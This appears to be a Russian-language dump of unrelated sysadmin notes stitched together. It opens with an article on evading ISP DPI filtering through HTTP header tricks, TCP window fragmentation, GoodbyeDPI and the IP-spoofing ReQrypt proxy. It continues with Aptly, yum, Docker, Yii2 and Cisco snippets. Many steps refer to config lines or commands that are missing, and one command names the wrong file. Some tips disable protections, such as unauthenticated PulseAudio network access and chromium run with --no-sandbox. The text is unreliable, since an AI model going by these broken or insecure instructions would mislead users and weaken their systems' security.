Системы DPI разработаны таким образом, чтобы обрабатывать трафик с максимально возможной скоростью, исследуя только самые популярные и игнорируя нетипичные запросы, даже если они полностью соответствуют стандарту.
Изучаем стандарт HTTP
Типичные HTTP-запросы в упрощенном виде выглядят следующим образом:
Запрос начинается с HTTP-метода, затем следует один пробел, после него указывается путь, затем еще один пробел, и заканчивается строка протоколом и переносом строки CRLF.
Заголовки начинаются с большой буквы, после двоеточия ставится символ пробела.
Давайте заглянем в последнюю версию стандарта HTTP/1.1 от 2014 года. Согласно RFC 7230, HTTP-заголовки не зависят от регистра символов, а после двоеточия может стоять произвольное количество пробелов (или не быть их вовсе).
Each header field consists of a case-insensitive field name followed
by a colon (":"), optional leading whitespace, the field value, and
optional trailing whitespace.
header-field = field-name ":" OWS field-value OWS
field-name = token
field-value = *( field-content / obs-fold )
field-content = field-vchar [ 1*( SP / HTAB ) field-vchar ]
field-vchar = VCHAR / obs-text
obs-fold = CRLF 1*( SP / HTAB )
; obsolete line folding
OWS — опциональный один или несколько символов пробела или табуляции, SP — одинарный символ пробела, HTAB — табуляция, CRLF — перенос строки и возврат каретки (\r\n).
Это значит, что запрос ниже полностью соответствует стандарту, его должны принять многие веб-серверы, придерживающиеся стандарта:
GET / HTTP/1.1hoSt:habrahabr.ru
user-agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/50.0
Accept-Encoding: gzip, deflate, br
coNNecTion: keep-alive ← здесь символ табуляции между двоеточием и значением
На деле же, многие веб-серверы не любят символ табуляции в качестве разделителя, хотя подавляющее большинство серверов нормально обрабатывает и отсутствие пробелов между двоеточием в заголовках, и множество пробелов.
Старый стандарт, RFC 2616, рекомендует снисходительно парсить запросы и ответы сломанных веб-северов и клиентов, и корректно обрабатывать произвольное количество пробелов в самой первой строке HTTP-запросов и ответов в тех местах, где требуется только один:
Clients SHOULD be tolerant in parsing the Status-Line and servers tolerant when parsing the Request-Line. In particular, they SHOULD accept any amount of SP or HT characters between fields, even though only a single SP is required.
Этой рекомендации придерживаются далеко не все веб-серверы. Из-за двух пробелов между методом и путем ломаются некоторые сайты.
Спускаемся на уровень TCP
Соединение TCP начинается с SYN-запроса и SYN/ACK-ответа. В запросе клиент, среди прочей информации, указывает размер TCP-окна (TCP Window Size) — количество байт, которые он готов принимать без подтверждения передачи. Сервер тоже указывает это значение. В интернете используется значение MTU 1500, что позволяет отправить до 1460 байтов данных в одном TCP-пакете.
Если сервер указывает размер TCP-окна менее 1460, клиент отправит в первом пакете данных столько, сколько указано в этом параметре.
Если сервер пришлет TCP Window Size = 2 в SYN/ACK-пакете (или мы его изменим на это значение на стороне клиента), то браузер отправит HTTP-запрос двумя пакетами:
Используем особенности HTTP и TCP для обхода активного DPI
Многие решения DPI ожидают заголовки только в стандартном виде.
Для блокировки сайтов по домену или URI, они ищут строку "Host: " в теле запроса. Стоит заменить заголовок «Host» на «hoSt» или убрать пробел после двоеточия, и перед вами открывается запрошенный сайт.
Не все DPI можно обмануть таким простым трюком. DPI некоторых провайдеров корректно анализируют HTTP-заголовки в соответствии со стандартом, но не умеют собирать TCP-поток из нескольких пакетов. Для таких DPI подойдет «фрагментирование» пакета, путем искусственного уменьшения TCP Window Size.
В настоящий момент, в РФ DPI устанавливают и у конечных провайдеров, и на каналах транзитного трафика. Бывают случаи, когда одним способом можно обойти DPI вашего провайдера, но вы видите заглушку транзитного провайдера. В таких случаях нужно комбинировать все доступные способы.
Программа для обхода DPI
Я написал программу для обхода DPI под Windows: GoodbyeDPI.
Она умеет блокировать пакеты с перенаправлением от пассивного DPI, заменять Host на hoSt, удалять пробел между двоеточием и значением хоста в заголовке Host, «фрагментировать» HTTP и HTTPS-пакеты (устанавливать TCP Window Size), и добавлять дополнительный пробел между HTTP-методом и путем.
Преимущество этого метода обхода в том, что он полностью автономный: нет внешних серверов, которые могут заблокировать.
По умолчанию активированы опции, нацеленные на максимальную совместимость с провайдерами, но не на скорость работы. Запустите программу следующим образом:
goodbyedpi.exe -1 -a
Если заблокированные сайты стали открываться, DPI вашего провайдера можно обойти.
Попробуйте запустить программу с параметром -2 и зайти на заблокированный HTTPS-сайт. Если все продолжает работать, попробуйте режим -3 и -4 (наиболее быстрый).
Некоторые провайдеры, например, Мегафон и Yota, не пропускают фрагментированные пакеты по HTTP, и сайты перестают открываться вообще. С такими провайдерами используйте опцию -3 -a
Эффективное проксирование для обхода блокировок по IP
В случае блокировок по IP-адресу, провайдеры фильтруют только исходящие запросы на IP-адреса из реестра, но не входящие пакеты с этих адресов.
Программа ReQrypt работает как эффективный прокси-сервер: исходящие от клиента пакеты отправляются на сервер ReQrypt в зашифрованном виде, сервер ReQrypt пересылает их серверу назначения с подменой исходящего IP-адреса на клиентский, сервер назначения отвечает клиенту напрямую, минуя ReQrypt.
Если наш компьютер находится за NAT, мы не можем просто отправить запрос на сервер ReQrypt и ожидать ответа от сайта. Ответ не дойдет, т.к. в таблице NAT не создана запись для этого IP-адреса.
Для «пробива» NAT, ReQrypt отправляет первый пакет в TCP-соединении напрямую сайту, но с TTL = 3. Он добавляет запись в NAT-таблицу роутера, но не доходит до сайта назначения.
Долгое время разработка была заморожена из-за того, что автор не мог найти сервер с возможностью спуфинга. Спуфинг IP-адресов часто используется для амплификации атак через DNS, NNTP и другие протоколы, из-за чего он запрещен у подавляющего большинства провайдеров. Но сервер все-таки был найден, хоть и не самый удачный. Разработка продолжается.
Заключение и TL;DR
GoodbyeDPI — программа под Windows, позволяющая обходить пассивные и активные DPI. Просто скачайте и запустите ее, и заблокированные сайты станут снова доступны.
Используйте кроссплатформенную программу ReQrypt, если ваш провайдер блокирует сайты по IP-адресу.
Определить тип блокировки сайтов можно программой Blockcheck. Если в тестах DPI вы видите, что сайты открываются, или видите строку «обнаружен пассивный DPI», то GoodbyeDPI вам поможет. Если нет, используйте ReQrypt.
Дополнительная полезная информация есть здесь и здесь.
xdg-utils для своей работы использует конфигурационные файлы расположенные в ~/.local/share/applications/. В данной директории есть файл mimeapps.list это список пользовательских типов, в него необходимо внести только одну строку: ( Читать дальше...Свернуть ) https://habrahabr.ru/sandbox/110020/
Возникла необходимость фиксировать локальный репозиторий разработчиков на конкретную дату, сравнивать эти состояния, откатываться назад и возвращаться к текущему состоянию, публиковать нужную версию. Для этой цели отлично подошел продукт под названием Aptly. развернуть Принцип работы таков:
Так как в основном репозитории Ubuntu нет пакета Aptly, для начала добавьте репозиторий разработчика в /etc/apt/sources.list прямым редактированием файла добавив в конец строку:
После этого можно устанавливать Aptly как любой другой пакет:
# apt-get update # apt-get install aptly
установяться так же и зависимости: bzip2, gnupg and gpgv.
В целях безопасности команды aptly не следует выполнять из-под учетной записи root. Для этих целей создайте нового пользователя, например:
# adduser repokeeper
и залогиньтесь под ним:
# su repokeeper
Далее сгенерируйте gpg ключ для подписи своего репозитория. Делать это нужно именно из под учетной записи того пользователя, от имени которого впоследствии будут публиковаться снимки:
# gpg --gen-key
Если интропия вашкго компьютера достаточна, а именно более 800, то ключ благополучно сгенерируется. Сохраните пароль ключа в надежном месте.
Посмотреть уровень текущей интропии можно открыв еще одну консоль и выполнив:
cat /proc/sys/kernel/random/entropy_avail
Если долго ничего не происходит и вываливается ошибка:
это означает, что ваш компьютер бездействует и уровень интропии недостаточен. Запустите какой-нибудь длительный тяжелый процесс на сервере, что бы его нагрузить или запустите в соседней консоли:
# cat /dev/urandom > randomfile
подождите пару минут, чтобы на диске создался файл приличного размера, затем прервите операцию нажав Ctrl+C. Далее выполните:
# dd if=random of=/dev/null iflag=direct
и снова смотрите в файл /proc/sys/kernel/random/entropy_avail. В какой-то момент уровень энтропии поднимется до 800 и GPG сможет сгенерировать свой ключ. Сохраните ключ в надежном месте. Для этого заархивируйте файл .gnupg в домашнем каталоге пользователя repokeeper и скопируте его для хранения или передачи иному пользователю.
# tar -czvf gnupg.tar.gz ~/.gnupg
На этом установка aptly закончена.
Настройка и работа с Aptly
Создание зеркала
Допустим имеется репозиторий разработчиков, который надо поставить на контроль версий публикуемых пакетов и вести его мониторинг. Для этого на нашем сервере с помощью установленного пакета Aptly создадим зеркало исходного репозитория разработчиков. Перед созданием зеркала, сначала нужно импортировать открытый ключ удаленного репозитория в хранилище ключей:
Основной конфиг создайте из автосоздаваемого ~/aptly.conf в /etc/aptly.conf с указанием корневого каталога. В домашней папке конфиг удалите. Дело в том, что aptly сначала ищет конфигурационный файл в домашнем каталогк, затем в директории /etc. Содержание файла aptly.conf:
где repo-precise-1-main произвольное имя нашего зеркала. Aply любезно сообщит, что можно сделать дальше: "You can run 'aptly mirror update repo-precise-1-main' to download repository contents."
Запустите обновление зеркала:
# aptly mirror update repo-precise-1-main
Файлы сохраняются в rootdir/.aptly/pool/ в нашем случае в /var/cache/aptly/pool
# aptly snapshot create repo-precise-1-main-20150505 from mirror repo-precise-1-main где repo-precise-1-main-20150505 произвольное имя снимка.
Снэпшот не занимает дополнительного места на диске, хранит только список пакетов. Можно создавать снэпшот в любое время. Затем можно объеденить (MERGE) несколько снепшотов в один с разной стратегией (Flag -latest chooses merge strategy: package with latest version “wins”):
Находясь в директории /etc/apache2/sites-available/ выполните:
# a2ensite aptly.conf
эта команда создаст алиас для файла конфигурации в /etc/apache2/sites-enabled/.
Перезапустите Apache:
# service apache2 reload
Теперь репозиторий будет доступен из браузера по адресу: http://your-server Не забудьте проверить настройки файрвола.
Настройки на стороне клиента
Что бы подключить к нашему репозиторию новую машину и устанавливать из него пакеты добавьте в /etc/apt/sources.list прямым редактированием файла строку:
Для удобства пользователей можно разместить напоминание в виде html странички о том, как установить GPG ключ. Для этого в корне директории /var/cache/aptly/public/создайте файл readme.html:
sudo nano /var/cache/aptly/public/readme.html
В добавок ко всему Aptly обладает такой замечательной возможностью, как графическое отображение структуры репозитория в виде изображения в формате .png
Формирование картинки:
# aptly graph Созданный .png файл скопируйте к себе на рабочий стол, например с помощью WinSCP.
Вот, что может получиться:
Troubleshooting
Ошибка при смене снэпшота:
# aptly publish switch trusty repo-trusty-1-main-20150904-01 Loading packages... Generating metadata files and linking package files... ERROR: unable to publish: unable to process packages: error linking file to /var/cache/aptly/public/pool/main/a/activiti/activiti.deb: file already exists and is different
Это происходит, когда версия файла в исходном репозитории сменилась, а сам файл остался тот же. В этом случае удалить файл по указанному пути и переопубликовать снепшот:
проверить локальный репозиторий на целостность # verifytree URL
завершить транзакции # yum-complete-transaction
установить необходимые зависимости для сборки RPM пакета # yum-builddep
управление конфигурационными опциями и репозиториями yum # yum-config-manager
запрос к локальной базе yum, отображение информации о пакете (использованная команда, контрольная сумма, URL с которого был установлен и другое) # yumdb info httpd
скачать rpm пакеты из репозитория # yumdownloader
скачать src.rpm пакет из репозитория (должен быть подключен соответствующий репозиторий, например в '/etc/yum.repos.d/CentOS-Sources.repo' в CentOS) yumdownloader --source php
Конфигурационные файлы Yum и их расположение
Основной конфигурационный файл /etc/yum.conf
директория, с конфигурациями (например, yum плагины) /etc/yum/
директория, содержащая информацию о репозиториях /etc/yum.repos.d/
Некоторые опции yum.conf:
Директория, где yum хранит кэш и файлы базы (по умолчанию '/var/cache/yum') cachedir=/var/cache/yum/$basearch/$releasever
Определяет должен или нет Yum хранить кэш заголовков и пакетов после успешной установки. Значения: 0 или 1. (по умолчанию 1) keepcache=1
уровень вывода отладочных сообщений. Значения: 1-10 (по умолчанию 2) debuglevel=2
лог файл (по умолчанию '/var/log/yum.log') logfile=/var/log/yum.log
обновлять устаревшие пакеты obsoletes=1
проверка подписи пакетов. Значения: 0 или 1 (по умолчанию 1) gpgcheck=1
включение плагинов. Значения: 0 или 1 (по умолчанию 1) plugins=1
Некоторые полезные плагины
Добавляет опцию командной строки для просмотра ченжлога перед/после обновлениями yum-plugin-changelog
выбирает более быстрые репозитории из списка зеркал yum-plugin-fastestmirror
добавляет команды keys, keys-info, keys-data, keys-remove, которые позволяют работать с ключами. yum-plugin-keys
блокировать указанные пакеты от обновления, команда yum versionlock yum-plugin-versionlock
добавление команд yum verify-all, verify-multilib, verify-rpm для проверки контрольных сумм пакетов yum-plugin-verify
Работа Yum через прокси сервер
Для всех пользователей: добавить в секцию [main] в /etc/yum.conf proxy="http://server:3128"
при необходимости указать пароль, добавить proxy_proxy_username=user proxy_password=pass
указать прокси для отдельного пользователя # export http_proxy="http://server:3128"
Для тестирования хороших и не очень инструментов под Android, :) необходима реальная платформа в виде настоящего телефона/планшета или же виртуальный эмулятор ее. В этом посте, я подготовил небольшую инструкцию, как поднять эмулятор Android у себя на компьютере с помощью Docker, быстро и бесплатно. Которая может кому-либо пригодится.
4. Запускаем образ. cd ~/docker && docker-compose up -d
После того как наш образ загрузится, открываем браузер (Chrome, Firefox), и переходим по адресу: http://IP:6080 и получаем наш Nexus 5, с Android 7.1.1.
5. Остановить приложение. cd ~/docker && docker-compose down
Несколько замечаний:
1. Тестировалось на Kali 2017.3 64, с небольшими изменениями можно запустить на Ubuntu/Debian, на Windows необходимо установить docker и docker-compose своим способом.
2. Оперативной памяти на VM/Хосте должно быть выделено не менее 2GB для успешного запуска эмулятора.
3. Если вы выполняете эти действия на виртуальной машине, как и я, необходимо включить "Nested Virtualization" в настройках вашего гипервизора. Здесь инструкции как это сделать для vmware. Но нужно учесть что, из-за вложенной виртуализации CPU, заметно пострадает производительность, в эмуляторе.
MS SQL Server (via sqlsrv driver): sqlsrv:Server=localhost;Database=mydatabase
MS SQL Server (via dblib driver): dblib:host=localhost;dbname=mydatabase
MS SQL Server (via mssql driver): mssql:host=localhost;dbname=mydatabase
Oracle: oci:dbname=//localhost:1521/mydatabase
ошибки при установке yii2-app-advanced Exception 'yii\db\Exception' with message 'could not find driver' sudo yum install php-gd php-mysql
Exception 'yii\db\Exception' with message 'SQLSTATE[HY000] [2002] No such file or directory' nano $HOME/yii-application/common/config/main-local.php 'dsn' => 'mysql:host=127.0.0.1:3306;dbname=yii2advanced
sudo mysql_secure_installation Exception 'yii\db\Exception' with message 'SQLSTATE[HY000] [1698] Access denied for user 'root'@'localhost''
Codeception requires CURL extension installed to make tests run If you are not sure, how to install CURL, please refer to StackOverflow yum install php-curl
// !!! insert a secret key in the following (if it is empty) - this is required by cookie validation 'cookieValidationKey' => 'enter your secret key here',
Чтобы открыть несколько портов, просто укажите несколько аргументов -p: docker run -p host_port1:container_port1 -p host_port2:container_port2 docker run -it -p 7100-7120:7100-7120/tcp
проверка блокировки по портам php -S 0.0.0.0:8080 (или внутренний ip контейнера напр 172.17.0.2:0.0.0.0) localhost:0.0.0.0 работать не будет, как и 127.0.0.1:8080
docker run -d -p 127.0.0.2:8080:8080 uzverss/centos_yii
php yii serve (по умолч localhost порт 80) php yii serve --port=8080 (поднимется по умолчанию на localhoct, т.е. при --net=host ) php yii serve 0.0.0.0:8080 (универсально) php yii serve ip_adres_контейнера:8080 (правильно)
узнать ip адрес (если нет ip a) yum install net-tools ifconfig
docker run --name centos -it centos bash docker run -d -p 80:8080 uzverss/centos_yii если что то блокирует проброс то docker run --net=host -it centos1_yii2 bash
примеры
пример: подключить каталог с yii2 с хоста в контейнер docker run -v /home/user/basic:/home/user/basic -p 127.0.0.2:8080:8080 -it centos-php bash пример: подключить каталог с yii2 с контейнера на хост (каталога basic1 на хосте нет, создаётся с правами root) docker run -v /home/user/basic1:/home/user/basic -p 127.0.0.2:8080:8080 -it centos-php bash chown user:user /home/user/basic
ошибка при запуске Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2Fvar%2Frun%2Fdocker.sock/v1.39/images/json: dial unix /var/run/docker.sock: connect: permission denied
docker system prune # очистит любые висящие (не связанные с контейнером) ресурсы - изображения, контейнеры, тома и сети docker system prune -a # удалить все остановленные контейнеры и все неиспользуемые изображения (не только свисающие изображения)
создать минимальный chroot и из него — образ: $ sudo tar -C каталог-с-chroot-ом -c . | docker import - название-образ подробнее см сборка образов под свои нужды
сеть в контейнере Сети Docker изнутри: как Docker использует iptables и интерфейсы Linux команда docker network create --driver bridge --subnet 192.168.100.0/24 --ip-range 192.168.100.0/24 my-bridge-network создает еще одну bridge-сеть с именем “my-bridge-network” и подсетью 192.168.100.0/24
docker network ls brctl show docker0 docker exec №_контейнера ping ya.ru
docker run -d -p 80:8080 uzverss/centos_yii
Чтобы открыть несколько портов, просто укажите несколько аргументов -p: docker run -p host_port1:container_port1 -p host_port2:container_port2 docker run -it -p 7100-7120:7100-7120/tcp
проверка блокировки по портам php -S 0.0.0.0:8080 (или внутренний ip контейнера напр 172.17.0.2:0.0.0.0) localhost:0.0.0.0 работать не будет, как и 127.0.0.1:8080
Режим --net default В данном режиме мост по умолчанию применяется мостом для соединения контейнеров друг с другом.
Режим --net=none В этом режиме созданные контейнеры полностью изолированы и не могут соединяться с сетевой средой.
Режим --net=container:$container2 При помощи данного флага данный контейнер создаёт в пространстве имён сети совместный ресурс с контейнером, именуемым $container2.
Режим --net=host При данном режиме контейнер создаёт совместные ресурсы своего сетевого пространства имён с хостом.
Зайти в уже запущенный контейнер (точнее выполнить команду внутри контейнера) docker exec -it name_of_container /bin/bash
http://qaru.site/questions/14756/how-to-copy-docker-images-from-one-host-to-another-without-via-repository export будет извлекать весь контейнер: как моментальный снимок обычной виртуальной машины save будет извлекать изображение: для виртуальной машины или физического сервера это будет образ .ISO установки или диска Для сглаженного экспорта файловой системы контейнера используйте; docker export CONTAINER_ID > my_container.tar Используйте cat my_container.tar | docker import - для импорта указанного изображения.
Скачать все теги образа ubuntu docker pull --all-tags ubuntu
# Выяснить на каком ip адресе работает виртуальная машина с докером $ boot2docker ip The VM's Host only interface IP address is: 192.168.59.103
# Строка для добавления в .bash_profile, которая выставляет правильные # переменные окружения eval $(boot2docker shellinit 2> /dev/null)
https://habrahabr.ru/post/310460/ docker run -d -P --name static-site prakhar1989/static-site docker port static-site создать файл Dockerfile затем docker build -t prakhar1989/catnip . docker run -p 8888:5000 prakhar1989/catnip
https://habrahabr.ru/post/234829/ docker start stupefied_lovelace docker attach stupefied_lovelace docker run --name city -d ubuntu /bin/bash -c "while true; do echo hello world; sleep 1; done" docker cp <путь к данным на хосте> <имя контейнера>:<путь> docker run -v /tmp:/root -t -i <имя образа> docker commit <id контейнера="контейнера"> <имя образа> docker load < /tmp/transfer.tar docker run -i -t -p 80:80 -p 443:443 --name nginx ubuntu:trusty docker commit nginx trukhinyuri/nginx docker push trukhinyuri/nginx
Осилил запуск GUI-приложений в Docker в /etc/ssh/sshd_config есть строчка X11Forwarding yes sudo docker run --dns 8.8.8.8 -p 127.0.0.1:222:22 -d -i -t baseimage-ssh /sbin/my_init ssh -p 222 root@localhost apt-get update apt-get install x11-apps xauth apt-get install chromium-browser apt-get install fonts-dejavu fonts-dejavu-core fonts-dejavu-extra заведем нового пользователя: adduser afiskon usermod -G sudo afiskon Под рутом говорим: xauth list Появится одна или несколько строчек вроде таких: 089a234b1567/unix:10 MIT-MAGIC-COOKIE-1 0489a12c89a67b567ef012cd... Переключаемся на юзера: su afiskon Для каждой ранее уведенной строчечки говорим: xauth add (строчечка) В дальнейшем так далать не понадобится, все сохраняется в файлики. В гостевой системе: sudo apt-get install libpulse0 pulseaudio В хост-системе: sudo apt-get install paprefs Запускаем paprefs, во вкладке Network Server ставим галочку Enable network access to local sound devices, а также Don’t require authentication. Затем: sudo service pulseaudio restart В netstat -tuwpan должны увидеть, что процесс pulseaudio слушает порт 4713. Вам Если после выполнения приведенной выше команды ничего не изменилось, попробуйте: pulseaudio -k pulseaudio --start пробрасываем порт на гостевую систему: ssh -X -p 222 -R3333:localhost:4713 root@localhost В гостевой системе говорим: PULSE_SERVER="tcp:localhost:3333" chromium-browser --no-sandbox
Для запуска контейнера и выполнения внутри него команды используется: docker container run -it itscaro/debian-ssh /bin/bash docker run -it itscaro/debian-ssh bash
Подключиться к уже запущенному контейнеру и запустить shell: docker container exec -it [CONTAINER ID] /bin/bash docker exec -it [CONTAINER ID] bash
Список запущенных процессов внутри контейнера смотрим так: docker top [CONTAINER ID] docker container top [CONTAINER ID]
Для остановки контейнера используется команда stop, например: docker stop [CONTAINER ID] docker container stop [CONTAINER ID]
Для остановки всех запущенных контейнеров используйте такую команду: docker container stop $(docker container ls -q)
Удалить остановленный контейнер можно так: docker rm [CONTAINER ID]
Удалить все остановленные контейнеры можно командой: docker container prune
Просмотреть историю образа, который использует контейнер: docker image history --no-trunc=true $(docker container inspect -f '' [CONTAINER ID])
Просмотреть изменения файловой системы контейнера по сравнению с оригинальным образом: docker container diff [CONTAINER ID]
Выполнить резервное копирование каталога с данными из контейнера в хост-машину: docker container run --rm --volumes-from [SOURCE_CONTAINER]:ro -v $(pwd):/backup alpine \ tar cvf /backup/backup_$(date +%Y-%m-%d_%H-%M).tar /data
Восстановить данные из резервной копии на хост-машине внутрь контейнера: docker container run --rm --volumes-from [TARGET_CONTAINER]:ro -v $(pwd):/backup alpine \ tar xvf /backup/backup.tar
Вывод имени хранилища (volume), которое использует контейнер: docker container inspect -f ' ' [CONTAINER ID]
Вывод имени хранилища (volume), которое использует контейнер и точек монтирования: docker container inspect -f ': ' [CONTAINER ID]
Получить IP-адрес контейнера: docker container inspect -f '' [CONTAINER ID]
Находясь на docker-хосте, смотрим содержимое каталога с интересующим нас docker-образом и его тэгом в каталоге /srv/gitlab/shared/registry/docker/registry/v2/repositories/{имя_докер_образа}/_manifests/tags/{тег_образа}/index/sha256
Смотрим содержимое каталога с ревизиями интересующего нас docker-образа /srv/gitlab/shared/registry/docker/registry/v2/repositories/{имя_докер_образа}/_manifests/revisions/sha256
После удаления вышеуказанных файлов запускаем процесс «уборки мусора» командой: docker exec -it {имя_контейнера_c_registry} bin/registry garbage-collect {путь_к_конфигу_внутри_контейнера}
Для чистки места также можно использовать скрипт clean_docker_registry.sh следующего содержания:
Запускаем скрипт с параметрами, первый из которых — имя docker-образа, второй — тэг docker-образа, например: ./clean_docker_registry.sh master/lebed/test latest
Info and Registry docker info - Информация обо всём в установленном Docker docker history - История образа docker tag - Дать тег образу локально или в registry docker login - Залогиниться в registry docker search - Поиск образа в registry docker pull - Загрузить образ из Registry себе на хост docker push - Отправить локальный образ в registry
Container Management docker ps -а - Посмотреть все контейнеры docker start container-name - Запустить контейнер docker kill/stop container-name - Убить (SIGKILL) /Остановить (SIGTERM) контейнер docker logs --tail 100 container-name - Вывести логи контейнера, последние 100 строк docker inspect container-name - Вся инфа о контейнере + IP docker rm container-name - Удалить контейнер (поле каждой сборки Dockerfile) docker rm -f $(docker ps -aq) - Удалить все запущенные и остановленные контейнеры docker events container-name docker port container-name - Показать публичный порт контейнера docker top container-name - Отобразить процессы в контейнере docker stats container-name - Статистика использования ресурсов в контейнере docker diff container-name - Изменения в ФС контейнера
Images docker build -t my_app . - Билд контейнера в текущей папке, Скачивает все слои для запуска образа docker images / docker image ls - Показать все образы в системе docker image rm / docker rmi image - Удалить image docker commit <containerName/ID> lepkov/debian11slim:version3- Создает образ из контейнера docker insert URL - вставляет файл из URL в контейнер docker save -o backup.tar - Сохранить образ в backup.tar в STDOUT с тегами, версиями, слоями docker load - Загрузить образ в .tar в STDIN с тегами, версиями, слоями docker import - Создать образ из .tar docker image history --no-trunc - Посмотреть историю слоёв образа docker system prune -f - Удалит все, кроме используемого (лучше не использовать на проде, ещё кстати из-за старого кеша может собираться cтарая версия контейнера)
Run docker run -d -p 80:80 -p 22:22 debian:11.1-slim sleep infinity (--rm удалит после закрытия контейнера, --restart unless-stopped добавит автозапуск контейнера) - Запуск контейнера интерактивно или как демона/detached (-d), Порты: слева хостовая система, справа в контейнере, пробрасывается сразу 2 порта 80 и 22, используется легкий образ Debian 11 и команда бесконечный сон
docker update --restart unless-stopped redis - добавит к контейнеру правило перезапускаться при закрытии, за исключением команды стоп, автозапуск по-сути
docker exec -it container-name /bin/bash (ash для alpine) - Интерактивно подключиться к контейнеру для управления, exit чтобы выйти
docker attach container-name - Подключиться к контейнеру чтоб мониторить ошибки логи в реалтайме
Volumes Скопировать в корень контейнера file docker cp file <containerID>:/
Скопировать file из корня контейнера в текущую директорию командной строки docker cp <containerID>:/file .
Создать volume для постоянного хранения файлов docker volume create todo-db
Добавить named volumу todo-db к контейнеру (они ok когда мы не заморачиваемся где конкретно хранить данные) bashdocker run -dp 3000:3000 --name=dev -v todo-db:/etc/todos container-name docker run -dp 3000:3000 --name=dev --mount source=todo-db,target=/etc/todos container-name # тоже самое что команда сверху
Отобразить список всех volume’ов docker volume ls
Инспекция volume’ов docker volume inspect
Удалить volume docker volume rm
Network Создать сеть docker network create todo-app
Удалить сеть docker network rm
Отразить все сеть docker network ls
Вся информация о сети docker network inspect
Соединиться с сетью docker network connect
Отсоединиться от сети docker network disconnect
Пробросить текущую папку в контейнер и работать на хосте, -w working dir, sh shell
Запуск контейнера с присоединением к сети и заведение переменных окружения
Запуск контейнера с приложением
CMD VS ENTRYPOINT Разница в том, что CMD выполняется из под /bin/sh по дефолту, а ENTRYPOINT без него. В случае с CMD, команда и параметры к ней захардкожены в образ, пример запуска с переопределением команды CMD ["sleep","10"]
docker run ubuntu sleep 5 Контейнер проспит 5 секунд вместо 10.
В случае с ENTRYPOINT, только команда захардкожена в образ, пример запуска с переопределением команды ENTRYPOINT ["sleep"] CMD ["10"] (Если используются обе директивы, то в энтрипоинте команда, а в cmd параметры к ней)
docker run ubuntu 5 Контейнер проспит 5 секунд вместо 10.
Чтобы переопределить ENTRYPOINT:
docker run --entrypoint another-command ubuntu 20
Обычно практика такая, всегда используй CMD, если только не требуется каждый раз запускать контейнер с разным параметром (экономия времени, чтоб каждый раз не вводить строчку с командой)
Best Practice Следуй принципу минимальных привилегий, процессы в контейнере никогда не должны выполняться из под рута, кроме редких случаев, нужно добавлять команду user и менять юзера на non-root. Не привязываться к UID, он динамичен, можно записать во временную папку UID. Сделать все исполняемые файлы владельцем рута, чтобы никто не изменил исполняемые файлы, а пользователю достаточно только права на выполнение. Чем меньше компонентов и открытых портов, тем меньше поверхность для атак. Использовать multistage для промежуточного контейнера для компиляции всего, зависимостей, временных файлов, образ может весить на треть меньше. Distroless с чистого листа, использовать минимальный набор пакетов, например избавиться от образа Ubuntuи выбрать Debian-base, наши контейнеры содержат уязвимости изначального образа, чекать это. Нужно обновлять всё до того, как выйдет из под поддержки. Оставлять только те порты, которые реально нужны, избегать 22 и 21 3389 (ssh & ftp & rdp). Никогда не помещайте логины/пароли в команде, в докерфайлах, переменных, docker secret или любой другой менеджер секретов ok. Не использовать ADD, только COPY (когда используем точку - это воркдир где лежит докерфайл). При сборке используйте .dockerignore чтобы убрать сенситив дату, это как .gitignore. При сборке вначале команд лучше кешировать команду ран, а потом скопировать исходные данные. Метадату записать. Использовать тесты типа Linter и сканеры образов для CI. Время от времени делать prune, докер любит много места жрать
Подключение рабочего узла (worker) к Swarm docker swarm join-token worker
Подключение управляющего узла (manager) к Swarm docker swarm join-token manager
Список сервисов docker service ls
Список узлов docker node ls
Создание сервиса docker service create --name vote -p 8080:80 instavote/vote
Список заданий Swarm docker service ps
Масштабирование сервиса docker service scale vote=3
Обновление сервиса docker service update --image instavote/vote:movies vote docker service update --force --update-parallelism 1 --update-delay 30s nginx docker service update --update-parallelism 5--update-delay 2s --image instavote/vote:indent vote docker service update --limit-cpu 2 nginx docker service update --replicas=5 nginx
Шпаргалка по командам Dockerfile FROM <имя-образа> — какой образ использовать в качестве базы (должна быть первой строкой в любом Dockerfile). MAINTAINER <имя> — имя мантейнера данного Dockerfile. RUN <команда> — запустить указанную команду внутри контейнера. CMD <команда> — выполнить команду при запуске контейнера (обычно идет последней). EXPOSE <порт> — список портов, которые будет слушать контейнер (используется механизмом линковки). ENV <ключ> <значение> — создать переменную окружения. ADD <путь> <путь> — скопировать файл/каталог внутрь контейнера/образа (первый аргумент может быть URL). ENTRYPOINT <команда> — команда для запуска приложения в контейнере (по умолчанию /bin/sh -c). VOLUME <путь> — пробросить в контейнер указанный каталог (аналог опции -v). USER <имя> — сменить юзера внутри контейнера. WORKDIR <путь> — сменить каталог внутри контейнера. ONBUILD [ИНСТРУКЦИЯ] — запустить указанную инструкцию Dockerfile только в том случае, если образ используется для сборки другого образа (с помощью FROM).
Docker-compose — пакетный менеджер (по аналогии с composer и npm, только у docker — контейнеры), позволяющий описывать необходимую структуру в одном файле (конфиге).
Изменение групп пользователя не меняет существующие логины, терминалы и оболочки, открытые пользователем. Чтобы избежать повторного входа в систему, вы можете просто запустить: $ newgrp docker чтобы получить доступ к этой группе в вашей текущей оболочке.
Как только вы это сделаете, пользователь фактически получит root-доступ к серверу, поэтому делайте это только для пользователей, которым доверен неограниченный доступ sudo.
------------------------------------------------------------------------ docker: Error response from daemon: failed to create endpoint on network bridge: failed to add the host (veth77bc8b1) <=> sandbox (vethebb0068) pair interfaces: operation not supported.
ядро собрано без veth.ko, в .config должно быть CONFIG_VETH=m
если ядро правильно собрано, но ошибка есть, проверить iptables -L
Написать опус сподвигло полное отсутствие аналогов. То есть в сети присутствует множество тем и примеров, как надо строить сеть малого предприятия секьюрно, архитектурно правильно, чтобы присутствовала хорошая производительность и всё такое. НО! Все эти принципы никак не пересекаются в одном конфиге. То есть "Делаем NAT.." но без "VPN на Cisco", "Zone Based Firewall" но без VPN, NAT+VPN+ZBF но без Traffic Policing...( Читать дальше...Свернуть ) http://nosovdn-cisco.blogspot.ru/2013/11/cisco.html
port-access-to-cisco
--------------------
interface FastEthernet0/1
description CISCO
switchport access vlan 2
switchport mode access
switchport nonegotiate
port-access-to-other
--------------------
interface FastEthernet0/1
description OTHER
switchport access vlan 2
switchport mode access
switchport nonegotiate
no cdp enable
port-access-to-host
-------------------
interface FastEthernet0/1
description HOST
switchport access vlan 2
switchport mode access
switchport nonegotiate
no cdp enable
spanning-tree portfast
